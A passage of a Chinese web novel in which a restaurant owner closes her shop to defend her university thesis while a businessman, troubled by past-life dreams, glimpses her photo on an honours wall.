“运营？所以刚刚是你操作官号在微博回的消息？我说我几天前发的一条评论怎么突然间收到回复了，还以为老板亲自回的，害得我白高兴了一下。” 有顾客遗憾道：“天哪，那之后官号岂不是都交给你管理了？唉，好像再也没机会能跟老板说上话了。” “笑死，兄弟你好惨，我建议你还是躲起来吧，要不等日后更多人知道现在是你在管理官号，我怕评论会骤降。” 陆向安：“……” 旁边的江映槐看他吃瘪，唇角是压不住的笑意，一边笑一边在点单系统上操作着。 其他顾客也像看到什么稀奇事一样凑过来盯着他：“那你岂不是店里唯一一个男性？” “哇～作为一个身强体壮的男人，为什么自己坐着看电脑却让其他女生干体力活？你怎么好意思的？” 顾客脸上做着浮夸的表情在熟络地开着玩笑，江映槐在一旁终于忍不住笑了出声，加入附和行列：“就是，我看你就应该顺便把拖地、擦桌子、端菜倒水的活都给干了。” 陆向安：“……” 这一早上，终于轮到陆向安像猴子一样被围观，江映槐的心情莫名舒畅了不少。 中午，因为今天是陆向安入职第一天，庄凝冬特意多做了点菜，摆盘比平时的要精致一些，用来区分陆向安的入职第一顿和平时的家常菜。 江映槐看到后，又有点不太高兴，小声嘟囔着：“为什么他来就做那么好看又好吃的饭菜欢迎？” 师父可千万别让这个来路不明且能力不强的傻逼男人勾走。 陆向安听见后，只觉得，哇，这是老板特意为他做的菜哎，他日后要更加努力给出工作才是！ “谢谢老板！我一定会鞠躬尽瘁死而后已的！” 江映槐更看他不顺眼了，“切”了一声：“就会耍嘴皮子……” “……”庄凝冬无奈地笑了下：“你来的时候我没做？后来你拜我为师我还特意又为你做了一顿呢。” 有是有，但不能只能她有么？ 江映槐虽然有点不痛快，但想到自己比陆向安多了一顿后，又好受了点。 不过，她还是趁庄凝冬没注意瞪了陆向安一眼。 可惜陆向安忙着低头进食，压根没看见。 然后江映槐就更气了。 气得她在心里狂骂了陆向安一顿。 下午，江映槐帮庄凝冬备好菜后就跑到一旁连刀工。 以往这个时候厨房里都是只有她一个人的。 但今天，庄凝冬还留在这里捣鼓着什么，江映槐好奇地过去看了眼。 “师父，又做什么好吃的了？” 庄凝冬正把剁成块的鸭肉和薏米放入锅中，她柔声道：“在做冬瓜薏米老鸭汤呢，最近发现初曼姐的精神状态好像不太好，黑眼圈都出来了，熬个汤给她补补。” “是吗？”经庄凝冬一提，江映槐歪着头仔细想了想，才发现季初曼最近精神确实不佳。 果然，还是师父细心。 “也不知道她是不是遇到什么困难了。”江映槐说。 “等晚上吃饭的时候我们再问问她，如果她不想说的话就算了，”庄凝冬往锅里加清水，“正好给她放个小长假让她好好休息一下。” “也好。” 庄凝冬看了江映槐一眼，笑：“小长假你也有份。” 江映槐“啊”了声：“可我不需要啊，我精神好着呢，干劲满满的，比得上一头牛。” “哪有人把自己比喻成牛的？”庄凝冬被她逗笑：“是我要出趟远门，所以才不得不给你们放假。” “去哪？我能跟着去吗？” “……” 庄凝冬把自己要答辩的事简单说了下，江映槐才知道原来庄凝冬还没完全毕业。 江映槐惊讶地把嘴巴张得圆圆的。 天啊，还没毕业。 这么年轻就有这么高深的厨艺…… “天啊，师父你也太厉害了吧？！”江映槐的彩虹屁脱口而出。 不止她一个人对庄凝冬更崇拜，晚饭期间，听说了庄记要停止营业一段时间的原因，竟是因为老板本人要回学校答辩之后，季初曼和陆向安也感到很震惊。 “凝冬你还没毕业啊？这么年轻就把一家饭馆做得风生水起，厉害！” 陆向安更是把庄凝冬当成了自己的偶像。 别人还没毕业就已经成功当上老板了，而自己…… 不过这种事也不能这样比较，专业和擅长的领域不同，人家是真有几分实实在在的真本事。 简单通知完了这件事，庄凝冬就把话题转到了季初曼身上。 “这个冬瓜薏米老鸭汤具有清热祛湿，促进血液循环的作用，对缓解黑眼圈有一定功效，初曼姐，我看你最近精神不佳，是不是没休息好？这个汤适合你，多喝点。” 江映槐：“初曼姐，有什么解决不了的事或者不开心的事可以跟我们说说呀，别憋在心里，小心憋久了憋出毛病来。” 奶奶：“身体是革命的本钱，可不要为了一些小事就把身体搞垮了。” 季初曼一愣，没想到自己这么明显。 她最近确实没休息好。 因为卫默的事，他不同意离婚，她正在和他掰扯着呢，烦得好些时间没睡好了。 不过季初曼不打算跟他们说。 这种家庭婚姻矛盾，翻来覆去翻烂了不也就这些，免得说出来还惹人烦。 而且季初曼自己有解决办法。 就不劳烦他们了。 “是……专门为我熬的？太费心了。”季初曼看着这碗冬瓜薏米老鸭汤，心中涌过一阵暖流：“其实不是什么大事，我自己能处理好的，就是需要些时日，你们不用担心。” 对方不愿意说的话，庄凝冬也理解，毕竟家家有本难念经，她轻笑了下：“那就好。” 碗里的冬瓜薏米老鸭汤热气腾腾，汤水不如鸡汤澄澈，却也呈现出一种淡茶色。 汤勺搅动间，香气外溢得更甚，猛地往鼻腔灌进一阵清甜，闻起来香极了。 季初曼舀了一勺放到嘴边吹了吹才喝了进去。 经过长时间的熬制，老鸭骨头和肉质的鲜美全部融入到了汤水里，鸭子独特的味道存在感极强，混着冬瓜的清甜和薏米的清香，一勺汤水里聚集了浓郁的精华。 温润地顺着食道丝滑地淌过食道进了胃里。 暖暖的很舒适。 就像喝了一剂特效药，一下子就让紧绷了好些天的精神彻底放松，整个人都舒服了不少。 “喝完之后好像是好受了不少。” 季初曼说着，吃了一块鸭肉。 炖煮过的鸭肉很软烂，一点也不柴，吃起来还带着股冬瓜的清甜，很好吃。 庄凝冬：“哪有那么快见效，我看啊，是你的心理作用。” 季初曼笑了笑，不作声。 就当是心理作用吧，最开始来到这，她非常感谢庄凝冬能给她一个机会，那会儿一切都是陌生的，就连感激都带有距离感。 可现在，季初曼觉得这里更像另一个避风港，他们都是她的朋友。 在这里，一切都快乐很多。 “这个老鸭汤真的好好喝！” 江映槐喝完了一碗，等汤水见底才开始吃汤料，熟透后的冬瓜呈现透明状，表面沾了一层淡黄的油脂，亮晶晶的，软乎乎到入口即化，在口中留下一股绵长的甘甜。 薏米在炖煮过后变得软，嚼起来的口感微韧，糯糯的，有着薏米独有的谷物清香，本身味道比较清淡，不过混在一起煲汤之后，它吸收了鸭子和冬瓜的香气，口感倒是变得丰富了。 “还是沾了初曼姐的光，要不然我都上哪喝到那么好喝的老鸭汤啊？” 又一碗汤水见底，江映槐发出一声喟叹。 陆向安听了觉得有点好笑：“中午你怎么不说是沾了我的光？” “……？”江映槐哼了一声：“滚。” “……” 陆向安知道她性格就这样，倒也没生气，只是疑惑自己到底哪里惹到她了？ 因为即将要停止营业一段时间，免得通知得太过突兀引发顾客不满，庄凝冬提前了在群里发了消息，顺便让陆向安在G站和微博上都发个通知。 庄凝冬：[由于本人有事需要外出一段时间，所以从5月26日开始，店铺将停止营业七天，即6月2日开始恢复营业，希望大家不要跑空哦。] 如果说上次停止营业一天都带来不小的震撼，那么这次停止营业七天就是在顾客群里掀起轩然大波。 群里当即刷屏起了一大堆问号。 谭清莹：[啊？？多少天？七天……！我没看错吧我是不是眼花了？还是老板打错了？快告诉你是打错了，你想打一天是不是，肯定不是七天啊啊啊！] 每天都很困：[到点了，肯定是提醒我要去睡了，老板，希望我睡醒后，能看到你撤回了这条信息。] 何筝：[啊啊啊七天！！没有你我可怎么活啊？！老板我希望你识相点，赶紧把这个消息撤回，如果你再不撤回的话，我就！跪下来求你！] 一杯奶茶：[退一万步来讲，这趟门就非出不可吗？老板你要去办什么事我可以代劳的啊啊啊，你能不能就待在店里做生意啊？] 庄凝冬：[我知道大家都很舍不得，但这趟门真的非出不可。] 111：[TVT老板你要干什么去？如果不方便说的话就算了。] 回学校答辩应该不算什么私密事，庄凝冬便如实说了，有人又问她在哪读的大学，庄凝冬也回答了。 谁知群里又是一阵惊天动地： 没出息：[卧槽卧槽，老板还没毕业就算了，竟然还是万宁大学的学生！好强！] 无敌小x：[知道老板年轻，不知道老板居然这么年轻，还没毕业就开起一家店自己当老板了。] 养生girl：[当有人说这个世界没有完美的人时，我：庄记老板。 妈耶，这究竟是什么被上天眷顾的幸运儿，长得好看，声音好听，身材好，学历高，人聪明，做饭还超级好吃！真的绝了！] 乌鱼子：[我原本也想去万宁大学读书来着。] 阴暗鼠鼠：[后来为什么不去了呢？是不想吗？] 乌鱼子：[……] 别惹我：[既然是回去答辩，那好吧，原谅你了TVT快去快回啊，要记得还在溪城苦苦等待的我们。] zz：[终于体会了一把什么叫由奢入俭难，这七天到底要怎么过啊，痛苦。] …… 与此同时，在庄凝冬往群里发了通知之后，陆向安也在G站和微博上发了动态，只不过他的通知文案有点奇特…… [“王爷，王妃已经被你挂在城墙上三天三夜了。” “那她知错了吗？” “王妃第二天就去世了，从她身上掉下来一块玉佩……” 王爷猩红着眼一把接过，只见上面刻着：从5月26日开始，本店将暂停营业七天，于6月2日开始恢复营业。] 甚至还在末尾带了一条话题：#王爷，王妃已经三天……# 刷到这条动态的顾客均是一头问号。 [？？？什么玩意儿我真服了，看到通知的一瞬间，我还以为庄记官号被盗了，结果……] [你，这，不是，看到后面……气笑了，就离谱，谁教你这样发通知的啊？真是运营鬼才，庄记这次捡到宝了。] [咦？庄记招运营了？我就说！老板怎么可能会用这么抽象的文案发通知，那以后岂不是都等不到老板回复评论了？] [看到停止营业七天这么严肃的事被用这样的文案通知出来，我真是又难受又想笑，这种纠结的心情，谁懂？] …… 发了通知后，陆向安就一直在那刷新后台，看着评论增长的速度，发现数据上涨得比之前老板自己发的要快后，陆向安松了口气。 评论骤降？不可能的。 陆向安继续刷着评论，看到有个人灵魂发问：[你这样搞抽象，请问老板本人知道吗？被批了没？] 这个陆向安还真不确定庄凝冬知不知道，她让他发通知，也没让他写好文案后就交给她过目。 在其他公司，大老板哪会过目这样的小事，都是交给手下的人办的。 陆向安便也没跟庄凝冬说。 其实庄凝冬是看到了的。 而且在看到文案的前两个字时，庄凝冬觉得连呼吸都短暂停止了下。 片刻过后，她眨眨眼，意识到自己身处何地时，心底又涌上一股不可名状的惆怅。 她很快调整了状态，重新审视这段文案，明白过来这只是这个时代的人常玩的梗，而且看评论反馈，虽然顾客们都在扣问号，但不难看出他们还挺喜欢这种通知形式的。 既然顾客都能接受，那她也没什么好说的。 庄凝冬不否认，在网感这方面，陆向安确实比她强，只要不捅出什么大篓子，就任由他发挥吧。 因为得知庄记在两天后就要闭店七天，所以这两天到庄记的人流量又往上拔了一个高度，哪怕他们知道店铺售卖的份量还是那么点，哪怕他们知道轮到自己时店铺里的菜极大可能已经卖光了，也不肯走。 不过庄凝冬看在他们那么不舍的份上，还尽自己所能多做了些份量。 这两天辛苦一点没关系，反正之后就是小长假了。 忙完两天，庄凝冬开始收拾东西前往万宁。 奶奶担心她，说了一晚上让她注意安全、落地后记得回电话的话，来来回回就那么几句，庄凝冬听得都能念出来了，不过她也没觉得烦，反而句句有回应地应着。 庄凝冬想起在上辈子，在她跟着师父四处学艺的时候，她奶奶在山村里肯定也是这样日盼夜盼，时时刻刻念着要她安定。 第二天，江映槐住得近，非要和奶奶一起送庄凝冬去高铁站。 江映槐中气十足，说有她在，还能方便照看奶奶。 庄凝冬拗不过，也觉得她说得有道理，便随她去了。 从溪城到万宁，需要坐高铁，再转飞机。 这是庄凝冬到现代以来第一次出远门。 饶是对这个时代的交通有了一定程度的认知，但当身处高空之上，目之所及是白茫茫的云海，庄凝冬才真正感受到这股难以言说的震撼。 这是，在天上飞。 原来，天上竟是这副模样，这么美。 落地万宁，安全回到学校之后，庄凝冬给奶奶打了个电话报平安。 宿舍里，其他三个舍友都在，庄凝冬按照记忆，一一跟她们打了声招呼。 三个舍友齐齐转头，短暂惊讶过后都笑着回应。 按原主记忆，她跟三位舍友的交集都不算多，平时在宿舍都很少交谈，庄凝冬一时也不知道跟她们聊什么话题，便开始重温论文知识，祈祷明天一切顺利。 期间，其余三个舍友偶尔会聊起第二天的答辩，说哪个导师怎么怎么样，哪个导师又是什么风格，又聊起自己的组别，排得后的话会等得很折磨…… 庄凝冬在一旁听着，遇到自己能聊的话题偶尔也会说几句，其他三个舍友见她会主动加入闲聊，也会兴高采烈地多聊几句。 第二天一早，庄凝冬一宿舍洗簌完毕就带着资料一起出门吃了早餐。 随后便去了教室准备答辩。 …… 临近中午的时间，万宁大学校道上，傅修霁百无聊赖地听着旁边的人说着万宁大学从建立初期，到现在的发展史。 那浮夸的言辞，听得傅修霁昏昏欲睡。 “停——”傅修霁及时打断，“傅安的资助方向什么时候变成了人文历史？” 傅修霁今天是代表傅安集团出面，为了和万大共同开展科研项目，给万大提供实际需求和资金支持。 原本他是不打算亲自来的，可在办公室开会听那群人汇报也是无聊。 跟听小学生打报告似的。 但谁知道万大负责人迟迟不进入正题，还不如在办公室听小学生打报告呢，起码能偷偷钓个鱼。 万大负责人瞬间冷汗直流，没想到面前的人看着懒懒散散，一副睡不醒的模样，谈起工作来是这么的雷厉风行，直入重点。 “对不起傅先生！我这就跟您汇报万大在无人机方面的技术研发和创新成果……” 万大负责人不动声色擦了擦汗，终于开始进入正题。 傅修霁一手插着兜，姿态散漫，路过一片荣誉墙时，他的目光不经意一瞥，似是瞧见什么，猛地停住。 脚步也随之顿住。 荣誉墙上，一张张一寸大的证件照整齐排列着，下方写着学生的姓名，专业班级，以及比赛的成绩。 而排在那面荣誉墙第一位的，是一名女生。 上方照片印着的容貌，跟最近莫名奇妙出现在傅修霁梦境中的陌生女人一模一样。 傅修霁目光下移，定格在姓名那一栏—— 庄凝冬。 第57章 第57章 旁边，万大负责人跟着停下来，他来回简单扫了两眼，适时开口：“庄凝冬这个学生啊，我有印象……” 傅修霁闻言，掀起眼皮给了他一个眼神，随后重新望回去。 万大负责人看懂了，这是示意他接着说的意思。 他这才往下道：“金融专业的尖子生，品学兼优，绩点排名常年居于专业前列，在校期间参加过不少大大小小的比赛，都获得过不少奖项，有些还是我亲自颁的呢。” “说起来，我们学校的金融专业也是非常不错的……” 万大负责人心里打着小算盘，不放过任何一个拉取投资合作的机会，疯狂举着数字例子以及在各方面的成就影响力将其夸大。 只可惜—— “傅安的资助方向好像也没变成金融吧？”傅修霁收回目光，不咸不淡开口。 “……”万大负责人沉默了一瞬，终于明白面前的傅总只是对荣誉墙上的那个金融专业学生感兴趣。 他立马干巴巴地笑了几下，不着痕迹地将话题带回了那位学生身上。 “这位庄同学，今年也大四了啊……”万大负责人不动声色地瞅了眼傅修霁，发现他没有不耐后，才继续道：“我忽然想起来，这几天好像轮到金融学院答辩，我先翻翻确认一下，啊对，3班的答辩刚好在今天，我看看那位庄同学的安排，就在载物楼A栋106，需要去看看吗？” 在万大负责人看来，傅总这番异样只是出于对一个人才的欣赏，不然他怎么刚好在荣誉墙停下来，还刚好注意到第一名呢？ 果然，能年纪轻轻坐到此等高位，肯定有比常人更毒辣的目光，才能轻易识得千里马，并广纳贤士。 那他邀请傅总去观摩答辩现场刚好能方便傅总进一步了解，要是这学生真进了傅安，也是在为万大争光啊。 万大负责人美滋滋地想着，却没想到—— “不了，”傅修霁拒绝了，“还是去看无人机吧。” 万大负责人：“……” 不是，这，那算什么事？ 怎么既好奇又不感兴趣的？ 算了，谁让人家是傅总呢，他说什么就什么吧。 两人继续往别的地方走。 摆放无人机的器械室在另一头，万大负责人带着傅修霁，从一栋教学楼穿过。 刚好经过载物楼A栋一楼。 路过106时，庄凝冬恰好在讲台时讲解着PPT。 傅修霁他们前进的方向刚好和庄凝冬面朝的方向一致。 所以傅修霁经过时，庄凝冬余光触及到一个侧脸，发现有点熟悉，她一顿，不受控制地往外投去一个眼神。 看清后，呼吸蓦地一窒。 眼瞅着思绪就要随着飘到更远，庄凝冬意识到自己身处的境地，又强硬拉回了视线，继续她的答辩。 跟庄凝冬之前猜的没错，这些导师都是根据原主论文内容发问，而先前，她已经将一部分内容提前让那位大佬看过。 可以说，这些导师提的问题还没那位大佬的刁钻。 庄凝冬回答得游刃有余。 答辩也取得了不错的成绩。 好不容易等到答辩结束，庄凝冬忙不迭追出教室外东张西望。 其实过了那么久，人早就没影了。 但庄凝冬就是想出来看看。 虽然刚刚只看见了一个侧脸，但庄凝冬绝对不会认错。 就是他。 他……也来了？ 又或者，是别人？可这也太像了，就跟一个模子刻出来的一样。 还是说，方才那一幕只是幻觉？ 庄凝冬没想太久，很快她就被人拍了下肩膀喊回神。 一转头，是她的三个舍友。 “一起吃饭吗？” 庄凝冬笑了下：“好。” …… 另一头，傅修霁视察完项目内容，拒绝了万大负责人要留他吃饭的事，转头开车去了另一处。 万宁市大，那个地方跟万宁大学又离得远，再加上下班高峰期。 等傅修霁去到，已经两点多了快三点了。 是一家私人心理咨询机构，坐落在郊区，从窗外望出去，不是山就是树，一片绿。 就这么一个鸟不拉屎的地方，处处透露着荒凉和阴森，傅修霁曾不止一次吐槽过，说齐扬哲就是靠着这一处跟拐。卖没啥差别的选址把病人吓好的。 阴凉可怖，谁要来，谁敢来？ 都不想再来，那可不就只能说自己病好了？ 不费吹灰之力就名利双收，齐扬哲这人，挺奸诈的…… 傅修霁不是第一次来，他熟门熟路地去到一间办公室，里面没人。 等了一会儿，一个身穿白大褂的年轻男人走了进来。 “你怎么不打一声招呼就过来了？助理跟我说的时候我还不信。想我了？” 齐扬哲拿过茶壶去饮水机接水。 傅修霁顿了下，对手机那头的人说：“不用送饭过来了，被恶心得吃不下了。” “……”齐扬哲忍着揍人的冲动，还是公事公办道：“你来得不凑巧，下午有人约了心理咨询。” “你忙就是了。”傅修霁靠在躺椅上，神色有些疲惫。 齐扬哲看着觉得不太对劲，傅修霁这人，对他这地方挑剔的很，向来不轻易来，就算来也会大爷似的提前告知，那态度纡尊降贵得仿佛要他铺上红地毯、放上鞭炮礼花热烈迎接。 没试过来得这么突兀。 “你有什么事？” 傅修霁欲言又止：“等你忙完再说。” …… 齐扬哲走后，傅修霁睡在躺椅上，想着最近发生的一系列稀奇古怪事，逐渐进入梦境。 梦里朱墙金瓦，傅修霁穿过道道镂空雕花长廊，拐过宫墙，殿外花团锦簇，遇见的每个人均是古代装扮。 那些穿着打扮一致的人瞧见他还会恭敬行礼喊一声王爷。 傅修霁摇着扇，轻车熟路地去到一处宫殿，里头弥漫着白茫茫的热雾，恍如仙境。 有个窈窕的身影在忙活，似乎意识到他来了，那女子停下手头的动作，转过身来。 声音轻柔难掩惊喜：“你来了？” 画面影影绰绰，光影交错间，雾气散去，傅修霁看到了那张跟荣誉墙上一摸一样的脸。 …… “醒醒，醒醒！！太阳下山了！” 傅修霁猛地睁开眼，入目是一片白，还有齐扬哲那张放大的脸。 缓了好一会儿，确认自己周围都是现代设施后，傅修霁下意识摸了摸身上完好的衣物：“不卖身，离我远点。” “……”齐扬哲在心底骂了他一句，退开：“我就多余喊你。” “赶紧的吧，来找我干嘛？”他现在是一刻都不想看到傅修霁这个货。 傅修霁：“我见到了梦境中的那个女人。” 原本敷衍听着打算看看傅修霁能放出什么屁的齐扬哲也稍稍摆正了神色：“什么玩意儿？你确定没看错？” 其实准确来说，是见到了那个人的照片。 这事说来也邪门。 起因是前段时间傅修霁莫名其妙做了个梦，梦里的一切，不管场景还是人物衣着，都比现在倒退几百上千年。 除此之外，梦里的内容更是离谱，场景几乎围绕着一男一女，起初是第三视角看着他们的背影，听着他们的声音，直到梦境最后，他们双双转过脸，女子没见过，而那位男子…… 傅修霁清楚地看见他的面容。 跟自己一模一样。 原本傅修霁是不在意的，实在太过荒谬。 他这二十多年来就没有过情爱方面的心思，怎么会梦到这样的事？ 对此，傅修霁归结于，他潜意识里可能想谈恋爱了，但又没遇上有感觉的，就这么压抑着，只能在梦境里释放。 就一次，傅修霁并没有放在心上。 直到开始重复梦到同样的场景，同样的人物，第二次，第三次…… 每次的内容都不一样，但都是围绕着那一男一女。 都说梦境是没有逻辑的，但那个梦境清晰得可怕，就跟真实存在过一样，每一个片段的发生又都是合理的，甚至各种前因后果都能串起来，连各种情绪感知都是那样的生动。 最初还只是间隔一两星期才梦到一次，最近是越来越频繁，几乎每隔几天就梦到一次。 傅修霁对这个奇怪的梦境感到疑惑，终于上心，找到作为心理医生的好友齐扬哲。 一开始听见傅修霁描述，齐扬哲以为他是回国接管公司压力大，精神高度紧张，才出现问题。 傅修霁脸上尽是对他诊断的怀疑：“就一个小公司，值得我高度紧张？” “……” 一个上万员工的集团被他说成小公司，齐扬哲懒得吐槽。 “要不，您找个人谈个恋爱呢？我看你是铁树想开花，说不定谈了就梦不到这些情情爱爱了，说真的，你这从小到大不仅没谈过一次恋爱，就连走得近的女性朋友都没有，你该不会是不喜欢女的吧？作为你兄弟的我真的很害怕。” 傅修霁皱眉：“我正常得很，你也安全得很。” “还是说你根本不行？那我是治不了这个毛病，你得去医院，挂男科。” “滚！” 后面，齐扬哲还是给他开了安神的药，还打趣道： “你怎么做梦都那么怂？要我，高低得给自己梦个皇帝的身份。” “你？你不行，你最多就是那跪在地上求着饶命的庸医。” “……” 妈的，这梦怎么不把这人折磨死？！ 最开始，安神的药还有点作用，后来就不太行了，梦境越来越频繁。 治精神的药副作用大，仔细询问过，这梦也没影响到傅修霁正常生活后，齐扬哲就没再给他开药了。 就简单做了些口头的开导，还开玩笑让他去把梦里的场景情节拍出来，说不定还能大赚一笔。 后面甚至有意无意地问他是不是沾染上什么脏东西了。 傅修霁当时听了之后，面无表情地环视一周，什么也没说就走了。 不应该，按傅修霁的性子起码会损两句，当时的齐扬哲看着他的背影，觉得他这么反常，就是被脏东西上身了。 然后第二天，傅修霁不知道到哪请来了一个大师，在他这间屋子里作法。 齐扬哲当时一口气差点没提上来。 有这么损的吗？！ 脏东西都没他脏！ 后面傅修霁自己可能也接受了这个梦境的存在，倒是没怎么来过这里了。 直到今天，傅修霁看到了那张照片。 才意识到，梦境中那个陌生女子的脸庞，在现实中竟然也存在！ 不是没由来的一张脸。 更不是傅修霁凭空幻想、捏造出来的。 这就更邪门了。 于是，傅修霁便匆匆赶来了这里。 虽然齐扬哲对这个梦境也没办法，但他就是下意识跑来了这里。 托刚刚看到那张照片的福，现在就连午后眯一小会儿都做上那个离奇的梦境了。 “我眼睛没瞎，记忆力也好得很。”傅修霁说。 意思是他没看错。 这情况，齐扬哲没遇到过。 “你该不会是看上了哪个小姑娘，乱编的吧？” “……没你无聊。” 齐扬哲又追着问了些细节，比如说在哪看到的，有没有什么交流互动，对方认识他吗？见到他的第一反应是什么…… 然而，傅修霁却说自己只是看到了一张照片，没见着真人。 更没有什么互动。 差点没把齐扬哲急死：“不是哥们儿，这么难得的一个机会，你，这……你为什么不过去瞧一眼呢？！” 第58章 第58章 为什么不过去？ 傅修霁的思绪跟着回到了看到照片的那一刻。 照片上的人，容颜绮丽，五官确实跟梦境里的人一样，傅修霁当时内心还小小地震了下。 不过，也只有一下。 因为他很快发现，那人似乎又与梦境里的不一样。 不是似乎，就是不一样。 照片上，那人没什么表情，神色很淡，眼神是空的，一点生机都没有，仿佛是一朵早已枯萎、却坚持着没倒下的花。 可梦境里的不一样，就算同样是没表情，她的眼睛也是亮的，是灵动的，充满了各种情绪。 轻飘飘一眼，就能灼得人心口发烫。 可以说，她们只有五官一样。 既然不是同一个人，为什么要过去看？ 不过这种感觉没法跟齐扬哲说。 傅修霁便随口胡掐道：“这梦境已经足够诡异了，我怕见到真人后发生更多灵异事件。” “……是有那么一点道理。” 齐扬哲摸了摸下巴，正要再问点细节，就见傅修霁拿起手机往外走。 “走了。” 仿佛一刻也不想多待。 齐扬哲又被他这副样子气到：“那你来我这干嘛？！” 就来睡了一觉，还什么细节都没说到。 不如不来。 傅修霁就跟听到他内心的想法一样，顿步回首：“你说得对，来了不还是得靠我自己，下次不来了。” “……” 齐扬哲觉得自己迟早被他气死：“那还不是你太过奇葩？现实当中还有谁会有你这种情况？我看就应该把你打包送去研究，说不定还能研究出点啥造福人类呢。” 傅修霁没搭理他。 齐扬哲连忙脱下白大褂，跟了出去。 “无端被你气了一顿，今晚我可得好好宰回来，吃什么呢？百味楼吧，就百味楼！” …… 庄凝冬的三个舍友，一个是万宁本地人，其他两个虽然是外地人，却也都在万宁找到了工作，这次回来答辩只请了一天假。 她们不像庄凝冬，能在宿舍住到毕业典礼那天。 所以当天答完辩，吃过饭后，她们就要走了。 走之前，她们得知庄凝冬还要一个人在宿舍住好几天，还问她自己一个人在这害不害怕，如果害怕的话可以跟着去她们那睡。 庄凝冬笑着婉拒了。 舍友们也不强求，只是让她有什么事的话可以打电话给她们。 舍友们走之后，宿舍变得非常安静。 她们的东西几乎都收拾好打包带走了，空荡荡的，看着就无端落寞。 原主的东西还有好一些，想来之前爷爷出事回老家回得匆忙，都来不及收拾。 庄凝冬安静整理着。 原主的这些东西她兴许不会再用，却又不会扔。 庄凝冬把它们打包好。 第二天，才将它们一并寄回去。 搞定这些，庄凝冬准备出去逛逛。 难得来一次大城市，必须开开眼。 这一天，庄凝冬体验了地铁，去到万宁最繁华的中心地带。 这里高楼林立，庄凝冬走进了一家奢华的商场，她四处逛了逛，没买什么，最后准备走的时候，进了一家金店。 一堆金子晃得人眼睛都睁不开，庄凝冬一眼瞧上了一只大气的金镯子。 她让导购拿出来，掂量着。 这只金镯子花纹复古，很适合奶奶。 …… “嘭”—— 一团绿色面团被甩在了案板上。 小长假才刚开始不久，江映槐就已经觉得无聊了，她现在正吊着一口气直播。 [姑奶奶，你终于开播了，知道我等得有多辛苦吗？] [咦，小槐放假了没回家吗？这个厨房看着好小，没有之前的宽敞，感觉动作施展起来都没那么随意。] [一个称职的美食up主，就是无论到哪里居住都要准备一套美食工具吗？] [瞧瞧，这就是上班的魅力，看小槐才上班多久，就一副被吸光了精气的模样。] [骂我吧，求你了，你骂人的时候起码还是有几分活力的] [怎么回事，七天小长假还不足够让你开心吗？刚砸了一个嘉年华，小槐，给姐笑一个。] [富婆姐姐大气，不如把钱给我，我可以把笑容焊丝在脸上的。] 江映槐抽空看了眼弹幕：“……” “你们猜错了，我这不是上班上的，”江映槐慢吞吞道，“是放假放的。” [……你的意思是，有假放你还不爽了是吗？] [建议富婆姐姐撤回那个嘉年华。] [牛逼，先天牛马圣体，我要是有你这体质，我的老板早就过上日进斗金的生活了。] 说到这个，江映槐可不乐意了。 她上的班跟他们上的班怎么可以混为一谈呢？ “那还是没法比的，我老板又不单是老板，她可是我师父，人美心善，就没骂过我，哪像你们，一定天天挨骂吧。” [……] [这么说的话，我好像还挺犯贱的，上班被老板骂完，下班还要求着被你骂……] [话不能这么说，这哪能一样，上班被老板骂是精神折磨，下班被小槐骂那是享受。] 江映槐：“……” 这群粉丝，有点变态。 江映槐手里动作没停，她没忘记庄凝冬交代给她的任务。 日常工作里，帮忙备菜干些小事是江映槐的杂活，她的主要任务还是做糕点，研发新糕点。 江映槐负责新糕点的研制，庄凝冬则负责改进。 此时，江映槐就是想趁着研究新品顺便给这群粉丝直播一小会儿，她想到店里还没上新这一糕点，师父也还没看过…… 这样贸然暴露是不是不太好？ 于是，江映槐及时停住动作，赶紧把它们一股脑搓圆。 [？？？没看懂这是要做什么。] 江映槐灵机一动，把它们捏成帽子形状：“送给你们，一人一顶，排好队来拿。” 面团是绿色的。 弹幕齐刷刷划过一片问号和省略号，一堆话甚至没来得及说出口，就听见江映槐已经在说总结语准备下播了。 [？？不是，这才开播多久？小槐你变懒了。] [啊？这就下播了？是不是忘了点什么？经典环节呢？你不练刀工啦？] “……” 提起这个江映槐就想起自己那些直播回放被打包发到庄记官号那件事。 幸好那个号现在是陆向安在管，师父她看不到。 “没了，我砍掉了，”江映槐哼哼两声，“我要偷偷练，等有一天，惊艳你们所有人。” 说完，她就光速下播了，全然不理会那群正刷着问号控诉的粉丝们。 下播后，江映槐做了一小会儿糕点，又练了好一会儿刀工，才休息了一会儿。 她拿出手机看了眼，发现有个同为美食up的一个好友给她发了消息： 平平：[听说你去庄记打工了？不是，你真去了？我说你也不缺钱啊，怎么突然想不开跑大老远去打工？我看你的粉丝说你连视频也不更了，催更都催到我这儿来了，你真不打算发一个？] 江映槐；[是你想让我更新吧？] 江映槐：[又不知道做什么内容了？] 平平是做美食测评方面的up主，不过她的测评并不限于市面上已有的各类牌子，有时候还会跟其他up主联动，测评一下他们做的美食。 明面上是为了帮其他up主宣传一下教程，带动流量，实际上只是…… 平平没东西可做了。 又或者说，她想不到做什么的时候，就会找上其他up主。 其中，江映槐是被找得最频繁的那个。 她之前所做过的糕点，有好一部分都被平平做过测评。 所以，每当平平找上门来，江映槐总觉得她没好事。 平平：[嘿嘿，被你看出来了。] 平平：[什么时候更哟，我去找你呀。] 江映槐想着，反正最近也是无聊，她便道：[这几天都可以啊，你来的话提前跟我说一声，先说好啊，我现在住的地方不比之前，你要是嫌弃一句我就把你扔出去。] 江映槐刚发出去，脑海就闪过了一个念头： 要不要去找师父呢？ 那可是师父的毕业典礼哎。 平平：[吃人嘴短拿人手软，我哪敢嫌弃啊，我现在就去查路线，等着我啊宝贝。] 江映槐：[要不你先别来吧，我临时有个计划，要出趟门。] 平平：[？什么计划？] 江映槐还在思考，就她自己去吗？ 带上师父奶奶一起吧…… 嗯，还有其他人，人多热闹点。 不过就去那么一两天，也不影响平平来吧？ 江映槐：[要不你还是先来吧，对了你打算什么时候过来？来几天，什么时候走？] 平平甚至还没来得及说什么，就看见江映槐继续道：[算了，你还是先别来了。] 先等她忙完吧，不然这么短时间要求人来来一趟又走，跟赶人似的。 平平：[……？] 江映槐找上陆向安的时候，他人还躺在床上打游戏。 真爽啊，好久没这么放松过了。 陆向安反手把一把游戏的战绩截图发到宿舍群炫耀。 今天是工作日，其他舍友忙得脚不沾地，好不容易才抽空看了眼宿舍群，一看，就发现陆向安在打游戏。 李辉：[好家伙，上班时间打游戏，你这么嚣张啊？] 陆向安：[谁说我上班时间玩了，我放假了，你们没看庄记顾客群吗？] 李辉：[？？我忙得现在回你信息都是蹲在坑上回的，哪有时间看其他不相关的消息啊？] 孙飞：[放假？放什么假？今天不是周六日啊，也不是什么节假日，为什么有假放？] 